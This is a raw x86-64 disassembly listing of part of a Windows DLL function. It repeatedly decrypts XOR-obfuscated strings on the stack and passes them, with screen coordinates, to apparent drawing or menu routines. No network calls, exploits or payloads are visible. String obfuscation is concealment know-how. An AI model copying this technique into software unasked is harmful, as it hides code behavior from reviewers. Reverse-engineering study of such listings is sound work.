andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3958]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1850], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1854]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1854], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1850]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180097cb0
lea rdx, [0x1802490a6]
lea rcx, [rbp + 0x1850]
call fcn.1800032d0
call fcn.180016950
addss xmm0, xmm6
call fcn.180025760
movzx ecx, word [0x1801c3970]
lea rdx, [0x180249068]
movsd xmm0, qword [str.pTU__]
movzx eax, byte [0x1801c3972]
movsd qword [rbp + 0x13e8], xmm0
xor al, 0x40
xor byte [rbp + 0x13e9], 0x37
xor byte [rbp + 0x13ea], 0x38
xor byte [rbp + 0x13eb], 0x39
xor byte [rbp + 0x13ec], 0x3a
xor byte [rbp + 0x13ed], 0x3b
xor byte [rbp + 0x13ee], 0x3c
xor byte [rbp + 0x13ef], 0x3d
mov word [rbp + 0x13f0], cx
xor cl, 0x3e
xor byte [rbp + 0x13f1], 0x3f
mov byte [rbp + 0x13f0], cl
lea rcx, [rbp + 0x13e8]
mov byte [rbp + 0x13e8], 0x46
mov byte [rbp + 0x13f2], al
call fcn.1800032d0
jmp 0x180097d97
movss xmm6, dword [0x1801ad7d4]
movzx eax, byte [0x1801c3980]
lea rdx, [rbp + 0xec8]
movsd xmm0, qword [str.e_U_OSS_]
lea rcx, [rbp + 0x2b70]
movsd qword [rbp + 0xec8], xmm0
xor al, 0x3e
xor byte [rbp + 0xec9], 0x37
xor byte [rbp + 0xeca], 0x38
xor byte [rbp + 0xecb], 0x39
xor byte [rbp + 0xecc], 0x3a
xor byte [rbp + 0xecd], 0x3b
xor byte [rbp + 0xece], 0x3c
xor byte [rbp + 0xecf], 0x3d
mov byte [rbp + 0xed0], al
mov byte [rbp + 0xec8], 0x53
call fcn.1800635b0
mov rcx, rax
lea r8, [0x180249044]
lea rdx, [0x180249040]
call fcn.18006f530
cmp byte [0x180249040], r14b
je 0x180098187
call fcn.180016950
addss xmm0, xmm6
call fcn.180025760
movzx eax, word [0x1801c3998]
mov r8d, r14d
mov word [rbp + 0x23c8], ax
movzx eax, byte [0x1801c399a]
mov byte [rbp + 0x23ca], al
movups xmm0, xmmword [str.rRLXSWPXZ]
movups xmmword [rbp + 0x23b8], xmm0
cmp r12d, 2
jl 0x180097f7b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x23bc]
mov edx, dword [rsp + 0x70]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180097e80
cmp r8d, 0x13
jge 0x180097fc4
movsxd rax, r8d
lea r9, [rbp + 0x23b8]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x13
jl 0x180097f90
lea rdx, [0x180249041]
lea rcx, [rbp + 0x23b8]
call fcn.1800032d0
call fcn.180016950
addss xmm0, xmm6
call fcn.180025760
cmp byte [0x1801c39b1], r14b
movups xmm0, xmmword [str.yBLUSUYY]
movzx eax, word [0x1801c39b0]
mov word [rbp + 0x2290], ax
movups xmmword [rbp + 0x2280], xmm0
je 0x180098174
mov r8d, r14d
cmp r12d, 2
jl 0x18009812b
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x2284]
mov edx, dword [rsp + 0x70]
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movd dword [rcx - 0xc], xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm15
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, edx
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x10
jl 0x180098030
cmp r8d, 0x12
jge 0x180098174
movsxd rax, r8d
lea r9, [rbp + 0x2280]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0x12
jl 0x180098140
lea rdx, [0x180249042]
lea rcx, [rbp + 0x2280]
call fcn.1800032d0
movzx eax, byte [0x1801c39c0]
lea rdx, [rbp + 0xed8]
movsd xmm0, qword [str.eYYIVRRX_]
lea rcx, [rbp + 0x2b90]
movsd qword [rbp + 0xed8], xmm0
xor al, 0x3e
xor byte [rbp + 0xed9], 0x37
xor byte [rbp + 0xeda], 0x38
xor byte [rbp + 0xedb], 0x39
xor byte [rbp + 0xedc], 0x3a
xor byte [rbp + 0xedd], 0x3b
xor byte [rbp + 0xede], 0x3c
xor byte [rbp + 0xedf], 0x3d
mov byte [rbp + 0xee0], al
mov byte [rbp + 0xed8], 0x53
call fcn.1800635b0
mov rcx, rax
lea r8, [0x180249030]
lea rdx, [0x18024902e]
call fcn.18006f530
mov eax, dword [0x1801c39d0]
mov r8d, r14d
movsd xmm0, qword [0x1801c39c8]
mov dword [rbp + 0x1868], eax
movzx eax, byte [0x1801c39d4]
mov byte [rbp + 0x186c], al
movsd qword [rbp + 0x1860], xmm0
cmp r12d, 2
jl 0x18009832a
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c39c8]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1860], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1864]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1864], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1860]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xd
jl 0x180098340
lea rdx, [rbp + 0x1860]
lea rcx, [rbp + 0x2bb0]
call fcn.1800635b0
mov rcx, rax
lea r8, [0x18024906c]
lea rdx, [0x180249069]
call fcn.18006f530
movzx ecx, word [0x1801c39dc]
lea rdx, [rbp + 0x258]
mov eax, dword [str.aRYIUU_]
mov dword [rbp + 0x258], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x259], 0x37
xor al, 0x3c
xor byte [rbp + 0x25a], 0x38
xor byte [rbp + 0x25b], 0x39
mov word [rbp + 0x25c], cx
xor cl, 0x3a
xor byte [rbp + 0x25d], 0x3b
mov byte [rbp + 0x25c], cl
lea rcx, [rbp + 0x2bd0]
mov byte [rbp + 0x258], 0x57
mov byte [rbp + 0x25e], al
call fcn.1800635b0
mov rcx, rax
lea r8, [0x180249080]
lea rdx, [0x18024907c]
call fcn.18006f530
movzx eax, byte [0x1801c39e8]
lea rdx, [rbp + 0xee8]
movsd xmm0, qword [0x1801c39e0]
lea rcx, [rbp + 0x2bf0]
movsd qword [rbp + 0xee8], xmm0
xor al, 0x3e
xor byte [rbp + 0xee9], 0x37
xor byte [rbp + 0xeea], 0x38
xor byte [rbp + 0xeeb], 0x39
xor byte [rbp + 0xeec], 0x3a
xor byte [rbp + 0xeed], 0x3b
xor byte [rbp + 0xeee], 0x3c
xor byte [rbp + 0xeef], 0x3d
mov byte [rbp + 0xef0], al
mov byte [rbp + 0xee8], 0x44
call fcn.1800635b0
mov rcx, rax
lea r8, [0x180249094]
lea rdx, [0x180249090]
call fcn.18006f530
movzx ecx, word [0x1801c39f0]
lea rdx, [0x1802490a5]
mov eax, dword [str.RYUNS_]
mov dword [rbp + 0x260], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x261], 0x37
xor al, 0x3c
xor byte [rbp + 0x262], 0x38
xor byte [rbp + 0x263], 0x39
mov word [rbp + 0x264], cx
xor cl, 0x3a
xor byte [rbp + 0x265], 0x3b
mov byte [rbp + 0x264], cl
lea rcx, [rbp + 0x260]
mov byte [rbp + 0x260], 0x48
mov byte [rbp + 0x266], al
call fcn.1800032d0
mov eax, dword [str.wEUVH_]
lea rdx, [0x1802490a4]
mov dword [rbp + 0x130], eax
lea rcx, [rbp + 0x130]
movzx eax, word [0x1801c39f8]
xor byte [rbp + 0x131], 0x37
xor byte [rbp + 0x132], 0x38
xor byte [rbp + 0x133], 0x39
mov word [rbp + 0x134], ax
xor al, 0x3a
xor byte [rbp + 0x135], 0x3b
mov byte [rbp + 0x134], al
mov byte [rbp + 0x130], 0x41
call fcn.1800032d0
call fcn.180006c20
call fcn.180013d50
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0x710]
addss xmm0, xmm7
mov dword [rbp + 0x710], 0x44070000
movss dword [rbp + 0x714], xmm0
call fcn.180025700
movzx ecx, word [0x1801c3a00]
lea rdx, [rbp + 0x718]
mov eax, dword [0x1801c39fc]
mov r9d, 8
mov dword [rbp + 0x268], eax
xor r8d, r8d
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x269], 0x37
xor al, 0x3c
xor byte [rbp + 0x26a], 0x38
xor byte [rbp + 0x26b], 0x39
mov word [rbp + 0x26c], cx
xor cl, 0x3a
xor byte [rbp + 0x26d], 0x3b
mov byte [rbp + 0x26c], cl
lea rcx, [rbp + 0x268]
mov dword [rbp + 0x718], 0x43a00000
mov dword [rbp + 0x71c], 0x4405c000
mov byte [rbp + 0x268], Ordinal_79
mov byte [rbp + 0x26e], al
call fcn.18000fcc0
lea rcx, [rbp + 0x720]
call fcn.180016840
movzx eax, byte [0x1801c3a10]
lea rdx, [rbp + 0x728]
movsd xmm0, qword [0x1801c3a08]
lea rcx, [rbp + 0xef8]
movsd qword [rbp + 0xef8], xmm0
xor al, 0x3e
xor byte [rbp + 0xef9], 0x37
xor r9d, r9d
xor byte [rbp + 0xefa], 0x38
mov r8b, 1
xor byte [rbp + 0xefb], 0x39
xor byte [rbp + 0xefc], 0x3a
xor byte [rbp + 0xefd], 0x3b
xor byte [rbp + 0xefe], 0x3c
xor byte [rbp + 0xeff], 0x3d
mov byte [rbp + 0xf00], al
mov dword [rbp + 0x728], 0x43a00000
mov dword [rbp + 0x72c], 0x43ed8000
mov byte [rbp + 0xef8], 0x53
call fcn.180003d00
movzx eax, byte [0x1801c3a20]
lea rdx, [0x1802490b0]
movsd xmm0, qword [0x1801c3a18]
lea rcx, [rbp + 0xf08]
movsd qword [rbp + 0xf08], xmm0
xor al, 0x3e
xor byte [rbp + 0xf09], 0x37
xor byte [rbp + 0xf0a], 0x38
xor byte [rbp + 0xf0b], 0x39
xor byte [rbp + 0xf0c], 0x3a
xor byte [rbp + 0xf0d], 0x3b
xor byte [rbp + 0xf0e], 0x3c
xor byte [rbp + 0xf0f], 0x3d
mov byte [rbp + 0xf10], al
mov byte [rbp + 0xf08], 0x44
call fcn.1800032d0
cmp byte [0x1801c3a33], r14b
movsd xmm0, qword [0x1801c3a28]
mov eax, dword [0x1801c3a30]
movsd qword [rbp + 0x16f0], xmm0
mov dword [rbp + 0x16f8], eax
je 0x180098874
mov r8d, r14d
cmp r12d, 2
jl 0x180098831
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3a28]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x16f0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x16f4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x16f4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x16f0]
add r9, rax
nop
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180098840
lea rdx, [0x1802490b1]
lea rcx, [rbp + 0x16f0]
call fcn.1800032d0
cmp byte [0x1801c3a41], r14b
lea rdx, [0x18024902d]
movsd xmm0, qword [0x1801c3a38]
lea rcx, [rbp + 0x1168]
movzx eax, word [0x1801c3a40]
movsd qword [rbp + 0x1168], xmm0
mov word [rbp + 0x1170], ax
je 0x180098902
xor byte [rbp + 0x1169], 0x37
xor byte [rbp + 0x116a], 0x38
xor byte [rbp + 0x116b], 0x39
xor byte [rbp + 0x116c], 0x3a
xor byte [rbp + 0x116d], 0x3b
xor byte [rbp + 0x116e], 0x3c
xor byte [rbp + 0x116f], 0x3d
xor byte [rbp + 0x1170], 0x3e
xor byte [rbp + 0x1171], 0x3f
mov byte [rbp + 0x1168], 0x44
call fcn.1800032d0
movsd xmm0, qword [0x1801c3a48]
lea rdx, [0x1802490ac]
movzx eax, byte [0x1801c3a50]
lea rcx, [rbp + 0xf18]
movsd qword [rbp + 0xf18], xmm0
mov r9d, 0x9c4
xor byte [rbp + 0xf19], 0x37
xor byte [rbp + 0xf1a], 0x38
xor byte [rbp + 0xf1b], 0x39
xor byte [rbp + 0xf1c], 0x3a
xor byte [rbp + 0xf1d], 0x3b
xor byte [rbp + 0xf1e], 0x3c
xor byte [rbp + 0xf1f], 0x3d
xor al, 0x3e
mov byte [rbp + 0xf18], 0x44
mov byte [rbp + 0xf20], al
jmp 0x18009aeb8
cmp dword [0x18024dbfc], 1
jne 0x180098f18
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0x730]
addss xmm0, xmm7
mov dword [rbp + 0x730], 0x43520000
movss dword [rbp + 0x734], xmm0
call fcn.180025700
mov eax, dword [0x1801c3a54]
lea rdx, [rbp + 0x738]
mov dword [rbp + 0x50], eax
lea rcx, [rbp + 0x50]
movzx eax, byte [0x1801c3a58]
mov r9d, 8
xor byte [rbp + 0x51], 0x37
xor al, 0x3a
xor byte [rbp + 0x52], 0x38
xor r8d, r8d
xor byte [rbp + 0x53], 0x39
mov byte [rbp + 0x54], al
mov dword [rbp + 0x738], 0x43a50000
mov dword [rbp + 0x73c], 0x4405c000
mov byte [rbp + 0x50], Ordinal_79
call fcn.18000fcc0
mov eax, dword [0x1801c3a5c]
lea rdx, [rbp + 0x740]
mov dword [rbp + 0x138], eax
lea rcx, [rbp + 0x138]
movzx eax, word [0x1801c3a60]
xor r9d, r9d
xor byte [rbp + 0x139], 0x37
mov r8b, 1
xor byte [rbp + 0x13a], 0x38
xor byte [rbp + 0x13b], 0x39
mov word [rbp + 0x13c], ax
xor al, 0x3a
xor byte [rbp + 0x13d], 0x3b
mov byte [rbp + 0x13c], al
mov dword [rbp + 0x740], 0x43a00000
mov dword [rbp + 0x744], 0x43ed8000
mov byte [rbp + 0x138], 0x52
call fcn.180003d00
mov eax, dword [str.dVXH_]
lea rdx, [0x18024912c]
mov dword [rbp + 0x140], eax
lea rcx, [rbp + 0x140]
movzx eax, word [0x1801c3a68]
xor byte [rbp + 0x141], 0x37
xor byte [rbp + 0x142], 0x38
xor byte [rbp + 0x143], 0x39
mov word [rbp + 0x144], ax
xor al, 0x3a
xor byte [rbp + 0x145], 0x3b
mov byte [rbp + 0x144], al
mov byte [rbp + 0x140], 0x52
call fcn.1800032d0
call fcn.180006c20
call fcn.180013d50
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0x748]
addss xmm0, xmm7
mov dword [rbp + 0x748], 0x44070000
movss dword [rbp + 0x74c], xmm0
call fcn.180025700
mov eax, dword [0x1801c3a6c]
lea rdx, [rbp + 0x750]
movzx ecx, word [0x1801c3a70]
mov r9d, 8
mov dword [rbp + 0x270], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x271], 0x37
xor al, 0x3c
xor byte [rbp + 0x272], 0x38
xor byte [rbp + 0x273], 0x39
mov word [rbp + 0x274], cx
xor cl, 0x3a
xor byte [rbp + 0x275], 0x3b
mov byte [rbp + 0x276], al
xor r8d, r8d
mov dword [rbp + 0x750], 0x43a00000
mov dword [rbp + 0x754], 0x4405c000
mov byte [rbp + 0x270], Ordinal_79
mov byte [rbp + 0x274], cl
lea rcx, [rbp + 0x270]
call fcn.18000fcc0
lea rcx, [rbp + 0x758]
call fcn.180016840
movzx eax, byte [0x1801c3a80]
lea rdx, [rbp + 0x760]
movsd xmm0, qword [0x1801c3a78]
lea rcx, [rbp + 0xf28]
movsd qword [rbp + 0xf28], xmm0
xor al, 0x3e
xor byte [rbp + 0xf29], 0x37
xor r9d, r9d
xor byte [rbp + 0xf2a], 0x38
mov r8b, 1
xor byte [rbp + 0xf2b], 0x39
xor byte [rbp + 0xf2c], 0x3a
xor byte [rbp + 0xf2d], 0x3b
xor byte [rbp + 0xf2e], 0x3c
xor byte [rbp + 0xf2f], 0x3d
mov byte [rbp + 0xf30], al
mov dword [rbp + 0x760], 0x43a00000
mov dword [rbp + 0x764], 0x43ed8000
mov byte [rbp + 0xf28], 0x53
call fcn.180003d00
movzx eax, byte [0x1801c3a90]
lea rdx, [0x18024912e]
movsd xmm0, qword [0x1801c3a88]
lea rcx, [rbp + 0xf38]
movsd qword [rbp + 0xf38], xmm0
xor al, 0x3e
xor byte [rbp + 0xf39], 0x37
xor byte [rbp + 0xf3a], 0x38
xor byte [rbp + 0xf3b], 0x39
xor byte [rbp + 0xf3c], 0x3a
xor byte [rbp + 0xf3d], 0x3b
xor byte [rbp + 0xf3e], 0x3c
xor byte [rbp + 0xf3f], 0x3d
mov byte [rbp + 0xf40], al
mov byte [rbp + 0xf38], 0x44
call fcn.1800032d0
cmp byte [0x1801c3aa3], r14b
movsd xmm0, qword [0x1801c3a98]
mov eax, dword [0x1801c3aa0]
movsd qword [rbp + 0x1700], xmm0
mov dword [rbp + 0x1708], eax
je 0x180098de4
mov r8d, r14d
cmp r12d, 2
jl 0x180098da0
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3a98]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1700], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1704]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1704], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1700]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180098db0
lea rdx, [0x18024912d]
lea rcx, [rbp + 0x1700]
call fcn.1800032d0
cmp byte [0x1801c3ab1], r14b
lea rdx, [0x180249134]
movsd xmm0, qword [0x1801c3aa8]
lea rcx, [rbp + 0x1178]
movzx eax, word [0x1801c3ab0]
movsd qword [rbp + 0x1178], xmm0
mov word [rbp + 0x1180], ax
je 0x180098e72
xor byte [rbp + 0x1179], 0x37
xor byte [rbp + 0x117a], 0x38
xor byte [rbp + 0x117b], 0x39
xor byte [rbp + 0x117c], 0x3a
xor byte [rbp + 0x117d], 0x3b
xor byte [rbp + 0x117e], 0x3c
xor byte [rbp + 0x117f], 0x3d
xor byte [rbp + 0x1180], 0x3e
xor byte [rbp + 0x1181], 0x3f
mov byte [rbp + 0x1178], 0x44
call fcn.1800032d0
movzx eax, word [0x1801c3ac0]
lea rdx, [0x180249130]
movsd xmm0, qword [str.dVXHefRQR_]
lea rcx, [rbp + 0x13f8]
movss xmm2, dword [0x1801ad7bc]
movaps xmm3, xmm8
movsd qword [rbp + 0x13f8], xmm0
xor byte [rbp + 0x13f9], 0x37
xor byte [rbp + 0x13fa], 0x38
xor byte [rbp + 0x13fb], 0x39
xor byte [rbp + 0x13fc], 0x3a
xor byte [rbp + 0x13fd], 0x3b
xor byte [rbp + 0x13fe], 0x3c
xor byte [rbp + 0x13ff], 0x3d
mov word [rbp + 0x1400], ax
movzx eax, byte [0x1801c3ac2]
xor byte [rbp + 0x1400], 0x3e
xor al, 0x40
xor byte [rbp + 0x1401], 0x3f
mov dword [rsp + 0x28], r14d
mov byte [rbp + 0x1402], al
mov byte [rbp + 0x13f8], 0x52
mov qword [rsp + 0x20], rdi
call fcn.180008e50
jmp 0x18009aecd
cmp dword [0x18024dbfc], 2
jne 0x180099695
movss xmm0, dword [0x18024dbc0]
lea rcx, [rbp + 0x768]
addss xmm0, xmm7
mov dword [rbp + 0x768], 0x43520000
movss dword [rbp + 0x76c], xmm0
call fcn.180025700
mov eax, dword [0x1801c3ac4]
lea rdx, [rbp + 0x770]
mov dword [rbp + 0x58], eax
lea rcx, [rbp + 0x58]
movzx eax, byte [0x1801c3ac8]
mov r9d, 8
xor byte [rbp + 0x59], 0x37
xor al, 0x3a
xor byte [rbp + 0x5a], 0x38
xor r8d, r8d
xor byte [rbp + 0x5b], 0x39
mov byte [rbp + 0x5c], al
mov dword [rbp + 0x770], 0x43a50000
mov dword [rbp + 0x774], 0x4405c000
mov byte [rbp + 0x58], Ordinal_79
call fcn.18000fcc0
mov eax, dword [0x1801c3acc]
lea rdx, [rbp + 0x778]
mov dword [rbp + 0x148], eax
lea rcx, [rbp + 0x148]
movzx eax, word [0x1801c3ad0]
xor r9d, r9d
xor byte [rbp + 0x149], 0x37
mov r8b, 1
xor byte [rbp + 0x14a], 0x38
xor byte [rbp + 0x14b], 0x39
mov word [rbp + 0x14c], ax
xor al, 0x3a
xor byte [rbp + 0x14d], 0x3b
mov byte [rbp + 0x14c], al
mov dword [rbp + 0x778], 0x43a00000
mov dword [rbp + 0x77c], 0x43ed8000
mov byte [rbp + 0x148], 0x41
call fcn.180003d00
mov eax, dword [str.wEJVM_]
lea rdx, [0x1802490c4]
mov dword [rbp + 0x150], eax
lea rcx, [rbp + 0x150]
movzx eax, word [0x1801c3ad8]
xor byte [rbp + 0x151], 0x37
xor byte [rbp + 0x152], 0x38
xor byte [rbp + 0x153], 0x39
mov word [rbp + 0x154], ax
xor al, 0x3a
xor byte [rbp + 0x155], 0x3b
mov byte [rbp + 0x154], al
mov byte [rbp + 0x150], 0x41
call fcn.1800032d0
mov eax, dword [str.__J]
mov r8d, r14d
mov dword [rbp + 0x24d0], eax
movzx eax, byte [0x1801c3af4]
mov byte [rbp + 0x24d4], al
movups xmm0, xmmword [0x1801c3ae0]
movups xmmword [rbp + 0x24c0], xmm0
cmp r12d, 2
jl 0x1800991ac
movdqa xmmword [rsp + 0x70], xmm13
lea rcx, [rbp + 0x24c4]
mov edx, dword [rsp + 0x70]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm15
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
